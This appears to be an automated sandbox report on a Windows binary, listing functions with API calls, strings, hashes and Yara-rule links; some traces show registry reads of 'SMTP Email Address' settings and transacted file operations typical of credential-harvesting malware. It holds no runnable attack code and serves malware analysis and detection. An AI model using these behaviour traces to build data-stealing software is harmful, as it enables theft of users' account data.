Opcode ID: e7835fb1431d32460a99889e00f6a136d293d0497d40d1bb5df47b5d6bca7db5
Instruction ID: 00ffa52966c63fd026f81d18d20d512e257ee359c4e4da7a11ca93955ed2a329
Opcode Fuzzy Hash: e7835fb1431d32460a99889e00f6a136d293d0497d40d1bb5df47b5d6bca7db5
Instruction Fuzzy Hash: 4551F331A00A00EFDB20AF6AC841A7A73F5EF08725F14456EEC09D7252E739DA19CB48

Uniqueness

Uniqueness Score: -1.00%

Function 00434254, Relevance: 10.6, APIs: 7, Instructions: 75stringregistryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,0043479B,00000000,00020019,0043479B,?,?,00434671,00000001,?,?,?,0043479B), ref: 00434279
lstrlenW.KERNEL32(0043479B,?,?,00434671,00000001,?,?,?,0043479B), ref: 0043429F
lstrcpyW.KERNEL32 ref: 004342BC
lstrcatW.KERNEL32(00000000,0047E094), ref: 004342C8
lstrcatW.KERNEL32(00000000,?), ref: 004342D6
RegEnumKeyExW.ADVAPI32(0043479B,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,00434671,00000001), ref: 0043430A
RegCloseKey.ADVAPI32(0043479B,?,?,00434671,00000001,?,?,?,0043479B), ref: 00434317

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrcat$CloseEnumOpenlstrcpylstrlen
String ID:
API String ID: 2943937744-0
Opcode ID: 9154fb1fbbb20efcb42165052912e23501af96d447c0b4f82ff39ce6355b9f8d
Instruction ID: aaec0f7c92eb7ca899ae2b4798c6a9e0e8e5427e27878ead3c00f99c6116ae7d
Opcode Fuzzy Hash: 9154fb1fbbb20efcb42165052912e23501af96d447c0b4f82ff39ce6355b9f8d
Instruction Fuzzy Hash: E3215E75501128FFEB119B91ED89DEF7B7CEF09354F0040A6F949E2111E6746A408AA9

Uniqueness

Uniqueness Score: -1.00%

Function 00437D6D, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 117registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000002,?,00000000,00020119,?,761524D0,00000000,0000000A), ref: 00437DF1
RegQueryValueExA.KERNEL32(?,?,00000000,?,?,00000040), ref: 00437E3E
RegCloseKey.ADVAPI32(?), ref: 00437E5F

Strings

@, xrefs: 00437DAC
<q]_TURY{IUX, xrefs: 00437E1F

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: CloseOpenQueryValue
String ID: <q]_TURY{IUX$@
API String ID: 3677997916-2052253215
Opcode ID: 67c420f7073a4ee3ee877526dcd7492bf172f319345c2ed4dd67e35e1debdf66
Instruction ID: 5e8ad90b13d2ec46b1f3d3d5531b86cf53e56058e22b2ef8bfa59c0eb83c8893
Opcode Fuzzy Hash: 67c420f7073a4ee3ee877526dcd7492bf172f319345c2ed4dd67e35e1debdf66
Instruction Fuzzy Hash: 0B418E71D0529C9ECB21DFA8D981AEEFBF8BF09304F1041AEE485B7212D7744A89CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00434C24, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 99registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,0043479B,00000000,00000100,00000100,?,SMTP Email Address,0047DD50), ref: 00434C6C
RegQueryValueExW.KERNEL32(00000100,00000000,00000000,00000000,00000000,?), ref: 00434C8B
RegQueryValueExW.KERNEL32(00000100,00000000,00000000,00000000,00000000,?), ref: 00434CC6
RegCloseKey.ADVAPI32(00000100), ref: 00434CE7

Part of subcall function 004457E5: _free.LIBCMT ref: 004457F8

Strings

SMTP Email Address, xrefs: 00434C2B

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: QueryValue$CloseOpen_free
String ID: SMTP Email Address
API String ID: 3744367872-3214364705
Opcode ID: c24fea2fc930ce5021d3bc6f7c4b024002fa0c5a0b1d5645049b351ccdbf41c5
Instruction ID: 29b152ecfba121c9328c9d9f327e80c18b01f9fff4d1ede91eca933f065b620c
Opcode Fuzzy Hash: c24fea2fc930ce5021d3bc6f7c4b024002fa0c5a0b1d5645049b351ccdbf41c5
Instruction Fuzzy Hash: F4315E75601219ABEF21CF55DC80BEB7768EB88754F215027FD04A6240E339EE408B69

Uniqueness

Uniqueness Score: -1.00%

Function 004382DC, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 70processCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00438311
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,?,?), ref: 0043839A
CloseHandle.KERNEL32(?), ref: 004383A3
CloseHandle.KERNEL32(?), ref: 004383AC

Strings

}, xrefs: 00438348

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: CloseHandle$CreateFileModuleNameProcess
String ID: }
API String ID: 2820832629-4239843852
Opcode ID: a95f857867c024fe12d5f9bc77beb9b5a2e93a26fa801f37393e1504205b9c08
Instruction ID: 821987a074e432ce89c5bdadd29389cf4a4780c2a8611662982d04eb9a828cb3
Opcode Fuzzy Hash: a95f857867c024fe12d5f9bc77beb9b5a2e93a26fa801f37393e1504205b9c08
Instruction Fuzzy Hash: DC219572D0024CBBEB019BE4DC81EEEB7BCEF58304F005166F645A1022F6715A89CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0041AA1B, Relevance: 7.6, APIs: 5, Instructions: 73COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,00000000,?), ref: 0041AA2F
CreateDirectoryA.KERNEL32(00000000,00000000), ref: 0041AA3D
_strcat.LIBCMT ref: 0041AAA3
GetFileAttributesA.KERNEL32(00000000,00000000,?), ref: 0041AAC0
CreateDirectoryA.KERNEL32(00000000,00000000), ref: 0041AAD4

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AttributesCreateDirectoryFile$_strcat
String ID:
API String ID: 2481838186-0
Opcode ID: f03a7ed9d3d522cacb6e88fb7d40d6a9b6ff11a5dab7bffc822cf8cd421790f1
Instruction ID: 15091bae0bebc3946bb6fef06d222c554a12eecf39b9940ba3e6610770e5b157
Opcode Fuzzy Hash: f03a7ed9d3d522cacb6e88fb7d40d6a9b6ff11a5dab7bffc822cf8cd421790f1
Instruction Fuzzy Hash: 10115C315013141BCB208668AD88BEB776C9F56750F1402A7F59593282E7B84EC5CA6E

Uniqueness

Uniqueness Score: -1.00%

Function 004108F7, Relevance: 7.6, APIs: 5, Instructions: 53COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0041090A
int.LIBCPMT ref: 00410921

Part of subcall function 004088FA: std::_Lockit::_Lockit.LIBCPMT ref: 0040890B
Part of subcall function 004088FA: std::_Lockit::~_Lockit.LIBCPMT ref: 00408925

std::_Facet_Register.LIBCPMT ref: 0041095B
std::_Lockit::~_Lockit.LIBCPMT ref: 00410971
Concurrency::cancel_current_task.LIBCPMT ref: 00410986

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 839a3a72646c7d1cb0ee79409069c69d55a588712d0250337cbf9f9f9b89c0a1
Instruction ID: 6d22768f98c64963358f3feae5ac68b0450f03d093439e050af7d9d66572369d
Opcode Fuzzy Hash: 839a3a72646c7d1cb0ee79409069c69d55a588712d0250337cbf9f9f9b89c0a1
Instruction Fuzzy Hash: 5A1125B29112249BCB14EB95D915AEE7764EF44324F10051FF451B73C1DF789D40C798

Uniqueness

Uniqueness Score: -1.00%

Function 004523B2, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 142COMMON

Download Yara Rule

APIs

Part of subcall function 00456FBB: GetLastError.KERNEL32(?,?,?,00451DA6,004859E0,00000008,0043E236,?,004117CC,00000000,7FFFFFFF,?,00000000,00411508), ref: 00456FC0
Part of subcall function 00456FBB: SetLastError.KERNEL32(00000000,00000008,000000FF,?,?,?,00451DA6,004859E0,00000008,0043E236,?,004117CC,00000000,7FFFFFFF,?,00000000), ref: 0045705E

_free.LIBCMT ref: 00452461
_free.LIBCMT ref: 0045248F
_free.LIBCMT ref: 004524D7

Strings

%E, xrefs: 004523E8, 00452432, 0045246E, 004523EB, 00452435

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: _free$ErrorLast
String ID: %E
API String ID: 3291180501-175436132
Opcode ID: f03f15e525a0d2c4bd8bd4ff3c080808b724143ca06f16c442ca4241c06c7c8b
Instruction ID: 02fe08ec3681c9f4536e164697278f378bc1bc761039757167234fb0ccecf915
Opcode Fuzzy Hash: f03f15e525a0d2c4bd8bd4ff3c080808b724143ca06f16c442ca4241c06c7c8b
Instruction Fuzzy Hash: E341AE31604205AFDB24CF5CCD81A6AB3F9EF4A315B24056FE805D7392EB75EC189B54

Uniqueness

Uniqueness Score: -1.00%

Function 004128DD, Relevance: 6.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

CreateTransaction.KTMW32(00000000,00000000,00000001,00000000,00000000,000000FF,00000000,0000000F,?,00000000,?,?,0041602E,00000000,?,?), ref: 004128F1
CreateDirectoryTransactedA.KERNEL32 ref: 0041290A
CommitTransaction.KTMW32(00000000,?,0041602E,00000000,?,?,?,?,?,?,00000000), ref: 00412915
RollbackTransaction.KTMW32(00000000,?,0041602E,00000000,?,?,?,?,?,?,00000000), ref: 0041291D

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Transaction$Create$CommitDirectoryRollbackTransacted
String ID:
API String ID: 629542334-0
Opcode ID: 241a8682b4aee2f6670cb3c1aa15cac357cf68a0c6136eb28f747a9eaf5189b5
Instruction ID: 60223e21ec84160e2ff7a732262b03939d82321b1a0b4789536cbd45651bdff3
Opcode Fuzzy Hash: 241a8682b4aee2f6670cb3c1aa15cac357cf68a0c6136eb28f747a9eaf5189b5
Instruction Fuzzy Hash: 85F0BBB1210114BFE61027695DCCDB7375CD7467B4B100222F562D21D0E6E09C9186B9

Uniqueness

Uniqueness Score: -1.00%

Function 0040A09D, Relevance: 6.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

CreateTransaction.KTMW32(00000000,00000000,00000001,00000000,00000000,000000FF,00000000,00000000,00000000,?,?,?,?,00000000,00000000,00409FFE), ref: 0040A0B0
DeleteFileTransactedA.KERNEL32 ref: 0040A0C7
CommitTransaction.KTMW32(00000000,?,00000000,?,?,?,?,00000000,00000000,00409FFE,?,?,?,00415E88,00000000), ref: 0040A0D2
RollbackTransaction.KTMW32(00000000,?,00000000,?,?,?,?,00000000,00000000,00409FFE,?,?,?,00415E88,00000000), ref: 0040A0DA

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Transaction$CommitCreateDeleteFileRollbackTransacted
String ID:
API String ID: 3802493581-0
Opcode ID: e9202e9ac5576d4b96ad9f69ee15c6621fcf12c4ef66c3ff4f06941274b7f67c
Instruction ID: 85eb220867b59e98ab7c206fdefa415f75f9c88bfc8c9881e1848566e75372c7
Opcode Fuzzy Hash: e9202e9ac5576d4b96ad9f69ee15c6621fcf12c4ef66c3ff4f06941274b7f67c
Instruction Fuzzy Hash: B7F0BE72200204BFE6205B699C4CC7B366CDB86B707104636FC62E22D0E6B1AC41867B

Uniqueness

Uniqueness Score: -1.00%

Function 004268E1, Relevance: 6.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

CreateTransaction.KTMW32(00000000,00000000,00000001,00000000,00000000,000000FF,00000000), ref: 004268F4
RemoveDirectoryTransactedA.KERNEL32 ref: 0042690B
CommitTransaction.KTMW32(00000000,?,00000000), ref: 00426916
RollbackTransaction.KTMW32(00000000,?,00000000), ref: 0042691E

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Transaction$CommitCreateDirectoryRemoveRollbackTransacted
String ID:
API String ID: 1201024725-0
Opcode ID: 66f09594c4ce7f5b06aed701061c675555fb2da6a6e71a781ecab2431f40b099
Instruction ID: cb0eacf5aea81900fa3a2b5e961708e741142819201c528b4b150ffbb3dee8df
Opcode Fuzzy Hash: 66f09594c4ce7f5b06aed701061c675555fb2da6a6e71a781ecab2431f40b099
Instruction Fuzzy Hash: 89F054B1200120FFE6101775BC4CD77366CDB46770751072AF962D22D0EEB59D81867A

Uniqueness

Uniqueness Score: -1.00%

Function 00434EA5, Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00020008,?), ref: 00434EBD
OpenProcessToken.ADVAPI32(00000000), ref: 00434EC4
GetUserProfileDirectoryA.USERENV(?,?,00000200), ref: 00434ED6
CloseHandle.KERNEL32(?,?,00000200), ref: 00434EE3

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Process$CloseCurrentDirectoryHandleOpenProfileTokenUser
String ID:
API String ID: 1246687928-0
Opcode ID: b67c2884de1fdc140054dc0e8288960d27df843fe7b8ce95ca6b3771f7c65083
Instruction ID: 578113469047004747eb4977b61eb8b052f727ef40e446302925dda21f32d7a5
Opcode Fuzzy Hash: b67c2884de1fdc140054dc0e8288960d27df843fe7b8ce95ca6b3771f7c65083
Instruction Fuzzy Hash: F0F01CB1510218BBEB109BA5DC8AEFB7AACEB45641F100065E842E1110E6B4EE009A69

Uniqueness

Uniqueness Score: -1.00%

Function 004087DE, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 004087F3
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00408830

Part of subcall function 0043EBA4: _Yarn.LIBCPMT ref: 0043EBC3
Part of subcall function 0043EBA4: _Yarn.LIBCPMT ref: 0043EBE7

Strings

bad locale name, xrefs: 00408849

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: cfd53ae1cfaf1c4f6bb833f8bd64a1c2f786cf9b233bcbd999d8cefdd1b9d9b3
Instruction ID: 264f633f2af5c8d696c457eb37ee9d78cd0dabedb58cee28241c7a25bf016032
Opcode Fuzzy Hash: cfd53ae1cfaf1c4f6bb833f8bd64a1c2f786cf9b233bcbd999d8cefdd1b9d9b3
Instruction Fuzzy Hash: 27017171905B40DEC721DF6A858054BFBE0FF1C314B50892FE09ED3A41D734A504CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 00457BF1, Relevance: 4.7, APIs: 3, Instructions: 177fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00457386: GetConsoleCP.KERNEL32(8304488B,0044630E,00000000), ref: 004573CE

WriteFile.KERNEL32(?,00000000,?,00444E33,00000000,0043EE85,0044630E,0044630E,00000010,00444E33,00000000,8304488B,0043EE85,0043EE85,?), ref: 00457D42
GetLastError.KERNEL32(?,0044630E), ref: 00457D4C
__dosmaperr.LIBCMT ref: 00457D91

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ConsoleErrorFileLastWrite__dosmaperr
String ID:
API String ID: 251514795-0
Opcode ID: 4ccf53f790a174df8aaec7ebd779b27a0883dc628c34c744c2068fa8c3babfec
Instruction ID: 6ec411319073c84ef8f39629fd7b000b4d50778e9905022bdc99fc9cc9d2f5ee
Opcode Fuzzy Hash: 4ccf53f790a174df8aaec7ebd779b27a0883dc628c34c744c2068fa8c3babfec
Instruction Fuzzy Hash: CE511571908109AFEB11DBA4EC85BFEBBB8EF05356F140427E900A7353D7389909C7A9

Uniqueness

Uniqueness Score: -1.00%

Function 00454188, Relevance: 4.6, APIs: 3, Instructions: 102COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00454218
_free.LIBCMT ref: 00454233
_free.LIBCMT ref: 0045423E

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 5fc112e0742bb2d45769e5759f2c67d71dd745a10f9ceb39230365c55138c2ed
Instruction ID: 4ee6f5da1758b430c4b29512e07944501ee16df3efc9502de0e57aac4af4c81d
Opcode Fuzzy Hash: 5fc112e0742bb2d45769e5759f2c67d71dd745a10f9ceb39230365c55138c2ed
Instruction Fuzzy Hash: 7B217C325085106BEB049EA9A8457BB7B66CFC635DF24009FFC449F243D92A4D8E8258

Uniqueness

Uniqueness Score: -1.00%

Function 00452516, Relevance: 4.6, APIs: 3, Instructions: 96COMMON

Download Yara Rule

APIs

__cftoe.LIBCMT ref: 00452542
__cftoe.LIBCMT ref: 00452574
_free.LIBCMT ref: 0045259A

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: __cftoe$_free
String ID:
API String ID: 1303422935-0
Opcode ID: 469268442537dca3c580c77dce6b84725c8870d18872c4f82c05e1173bd9be7d
Instruction ID: b651a89a35f2c6decd3b1c00d7adffd5cd30c194f3ee05696e2b9550e0d4397a
Opcode Fuzzy Hash: 469268442537dca3c580c77dce6b84725c8870d18872c4f82c05e1173bd9be7d
Instruction Fuzzy Hash: 8321F97280420C7ACF109B959D46EDF3BA8DF45325F20411BFC15D5193FB74C64C8659

Uniqueness

Uniqueness Score: -1.00%

Function 00433DF6, Relevance: 4.6, APIs: 3, Instructions: 73libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?,?,00000000,?,?,?,00434662,00000001,?,?,?,0043479B), ref: 00433E37
GetProcAddress.KERNEL32(00000000,?), ref: 00433E74
FreeLibrary.KERNEL32(00000000,?,?,00000000,?,?,?,00434662,00000001,?,?,?,0043479B), ref: 00433EA8

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Library$AddressFreeLoadProc
String ID:
API String ID: 145871493-0
Opcode ID: f9d9d1950ece255254d2d6e2129af55a42187ac615f51a72f0cd060928b00460
Instruction ID: c81eccaaf322900952a43f159e5bd2e4bb9e56b7fd90643b357544d40b6ade58
Opcode Fuzzy Hash: f9d9d1950ece255254d2d6e2129af55a42187ac615f51a72f0cd060928b00460
Instruction Fuzzy Hash: 90213B749002989F9B05CFE9D8518FFBBB9AE49305F04116EE841A3201DB348F05C765

Uniqueness

Uniqueness Score: -1.00%

Function 0043DCF5, Relevance: 4.6, APIs: 3, Instructions: 63fileCOMMON

Download Yara Rule

APIs

UnmapViewOfFile.KERNEL32(00000055,00000000,00000000,00489F14,00000000,?,0041B10D,?,00000000,00000000), ref: 0043DD45
CloseHandle.KERNEL32(?,00000000,00000000,00489F14,00000000,?,0041B10D,?,00000000,00000000), ref: 0043DD5C
CloseHandle.KERNEL32(00000000,00000000,00000000,00489F14,00000000,?,0041B10D,?,00000000,00000000), ref: 0043DD71

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: CloseHandle$FileUnmapView
String ID:
API String ID: 260491571-0
Opcode ID: 195b4f6d32da76143ef0aee6a9892c0556ba616dc125102619378f5df5e60924
Instruction ID: d1b41487cfed981be51dc05ff6f3c4f0f49aec675ff5434c37619e9c1ff5a89d
Opcode Fuzzy Hash: 195b4f6d32da76143ef0aee6a9892c0556ba616dc125102619378f5df5e60924
Instruction Fuzzy Hash: 5821AC70D00B00EFDB21AF29E88175BB7E0FF49314F10D86EE09A52691D7B8A840DF09

Uniqueness

Uniqueness Score: -1.00%

Function 004196F9, Relevance: 4.6, APIs: 3, Instructions: 59fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000,00000244,00000000,?,0041A4B7,00000140,00000000,?,00000000), ref: 00419716
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001,00000140,00000000,?,0041A4B7,00000140,00000000,?,00000000,?,0041AD60), ref: 00419737
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001,?,0041A4B7,00000140,00000000,?,00000000,?,0041AD60,?,?,00000244,00489F14), ref: 00419771

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: File$Pointer$Create
String ID:
API String ID: 250661774-0
Opcode ID: 44c6c0debf274a76749f862bb953344f8b2aaba80711248f5c17c4d38a8b1bca
Instruction ID: 007ed69f0cb835c0648c9c20b6aec1228818ced099b7f38986f727ea1c698393
Opcode Fuzzy Hash: 44c6c0debf274a76749f862bb953344f8b2aaba80711248f5c17c4d38a8b1bca
Instruction Fuzzy Hash: 0D11C270644301BFE7109F399C89B96BBD8EB09360F104725F974D72C1E3B4A8408B65

Uniqueness

Uniqueness Score: -1.00%

Function 0043CE1F, Relevance: 4.6, APIs: 3, Instructions: 53fileCOMMON

Download Yara Rule

APIs

CreateFileMappingA.KERNEL32 ref: 0043CE52
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,4876E7FF,?,?,00004098,00000000,0048A770,?,0043DDB1,?,?,0042756D), ref: 0043CE6F
CloseHandle.KERNEL32(?,?,?,00004098,00000000,0048A770,?,0043DDB1,?,?,0042756D), ref: 0043CE7F

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: File$CloseCreateHandleMappingView
String ID:
API String ID: 1187395538-0
Opcode ID: 953d94ed9cdfa9234fea98fe8d504baa4e7df8494bab438b5c926ca67dd4c040
Instruction ID: 5360c50e0e9cc736e020c04605e1ef3b64e2825fc79ab8d14fcbe85025b843df
Opcode Fuzzy Hash: 953d94ed9cdfa9234fea98fe8d504baa4e7df8494bab438b5c926ca67dd4c040
Instruction Fuzzy Hash: 81118872500B019FD7328B168C85E27B7E8EB99761F109A2FE0D7A1651E77CD840CF19

Uniqueness

Uniqueness Score: -1.00%

Function 00459AF9, Relevance: 4.5, APIs: 3, Instructions: 49COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(00000000,00000000,0043EE85,00000000,00000002,0043EE85,00000000,?,?,?,00459BA6,00000000,00000000,0043EE85,00000002), ref: 00459B32
GetLastError.KERNEL32(?,00459BA6,00000000,00000000,0043EE85,00000002,?,00446231,?,00000000,00000000,00000001,0043EE85,?,?,004462E7), ref: 00459B3C
__dosmaperr.LIBCMT ref: 00459B43

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ErrorFileLastPointer__dosmaperr
String ID:
API String ID: 2336955059-0
Opcode ID: 132491a7dc2b0110466735059099dd9e5315e960de0f53e5d09fc1e88f4b2894
Instruction ID: 68955aebce1b7003686439ec36ed5ea192c1b74afccbcd5457ac65182522806c
Opcode Fuzzy Hash: 132491a7dc2b0110466735059099dd9e5315e960de0f53e5d09fc1e88f4b2894
Instruction Fuzzy Hash: 00014C33710155EFDF058FA9EC458AE3B2AEB85361B24020AFC11D7291FA75ED0197A5

Uniqueness

Uniqueness Score: -1.00%

Function 0040866C, Relevance: 4.5, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Part of subcall function 0043DDDD: FormatMessageA.KERNEL32(00001300,00000000,?,00000000,?,00000000,00000000), ref: 0043DDF3

LocalFree.KERNEL32(0000000F,unknown error,0000000D), ref: 004086B5
LocalFree.KERNEL32(?), ref: 004086CE

Strings

unknown error, xrefs: 0040869C

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: FreeLocal$FormatMessage
String ID: unknown error
API String ID: 803548167-3078798498
Opcode ID: a35a223cfc22048fbc106a06192b86e7bcf59afe16aa8ab62da6e0c10455d66b
Instruction ID: 80edd9830a66bea562bf2a74c86b4a5c767f3ea97379b72f0838b8fe41a16fc1
Opcode Fuzzy Hash: a35a223cfc22048fbc106a06192b86e7bcf59afe16aa8ab62da6e0c10455d66b
Instruction Fuzzy Hash: B9017C71900209EBCB10EF95D942AAEBBB4EF08348F10443EB441BA681D7789E04CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0045472C, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004547DF

Strings

GHE, xrefs: 004547CF

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: _free
String ID: GHE
API String ID: 269201875-3028431429
Opcode ID: e349c9ef5b6c4546ba93fe4fcd6a4ece6ec6066f804cd2f516ba444f154ad6bd
Instruction ID: 3960d54d9fc5f8ea1bd213843db877d02f2ddf85b34fbdfb14ee7ad3bdcaad29
Opcode Fuzzy Hash: e349c9ef5b6c4546ba93fe4fcd6a4ece6ec6066f804cd2f516ba444f154ad6bd
Instruction Fuzzy Hash: 6C318B76A00610DF8B14CF59C48085EB7F2BFCE324726866AD925EF361C730AD49DBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040FE4A, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

_Deallocate.LIBCONCRT ref: 0040FE77

Strings

U@, xrefs: 0040FE4A

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Deallocate
String ID: U@
API String ID: 1075933841-1366871680
Opcode ID: 1dfd42fc0b082c78df1604008919ba3c716e1c423bd6cdf4aaf33cf4c6854b6e
Instruction ID: 3c5b2f06edc676a75fa30480aa15c7d98f42ec50f48ca7809338b33edf5f80d9
Opcode Fuzzy Hash: 1dfd42fc0b082c78df1604008919ba3c716e1c423bd6cdf4aaf33cf4c6854b6e
Instruction Fuzzy Hash: 7D015274209B008FD369CF28D580912B7F1FF4A3107158AAEE88A8BB64C734B805CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00417136, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17COMMON

Download Yara Rule

APIs

___std_fs_set_current_path@4.LIBCPMT ref: 00417144

Part of subcall function 00409731: __EH_prolog2.LIBCMT ref: 00409738

Strings

current_path(const path&), xrefs: 00417152

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: H_prolog2___std_fs_set_current_path@4
String ID: current_path(const path&)
API String ID: 2482923176-1163517728
Opcode ID: 3010df2cf83a8cb39d37a492a5ca860544dd9516ba69c5df5b3c609efaf99e87
Instruction ID: 8b5e1dd9f9b089e81a2129673b62fc99e15bbc3c9bbdcabea4af84553e77962a
Opcode Fuzzy Hash: 3010df2cf83a8cb39d37a492a5ca860544dd9516ba69c5df5b3c609efaf99e87
Instruction Fuzzy Hash: 20D0A9306191206786346D6DE8085C622EE9F09304710943FB405C3301CB68CC8046E8

Uniqueness

Uniqueness Score: -1.00%

Function 00463C37, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 15fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,?,?,'@F,?,?,00000000,?,00464027,00000000,0000000C), ref: 00463C54

Strings

'@F, xrefs: 00463C48

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: CreateFile
String ID: '@F
API String ID: 823142352-2911183575
Opcode ID: cdb39055faf5e48b1752f6caeb8b009a1d4008958a3797dd41b624af3be4438a
Instruction ID: f45d6fd8d5d59fdac1190e841bf6a13ad6a6adffa11c7fdb2568ba39b8315ab8
Opcode Fuzzy Hash: cdb39055faf5e48b1752f6caeb8b009a1d4008958a3797dd41b624af3be4438a
Instruction Fuzzy Hash: 08D06C3204010DBBDF029F94DC46EDA3BAAFB4C714F018050FE5856020C772E821AB95

Uniqueness

Uniqueness Score: -1.00%

Function 00457809, Relevance: 3.1, APIs: 2, Instructions: 80fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000,8304488B,0044630E,00000000,?,00457D26,00000010,0044630E,00000000,?,0043EE85,0044630E), ref: 004578A5
GetLastError.KERNEL32(?,00457D26,00000010,0044630E,00000000,?,0043EE85,0044630E,0044630E,00000010,00444E33,00000000,8304488B,0043EE85,0043EE85,?), ref: 004578CB

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: 424109a8b292c614aaf65317bd0374755114bd2318a58ce09dc951398c0a5778
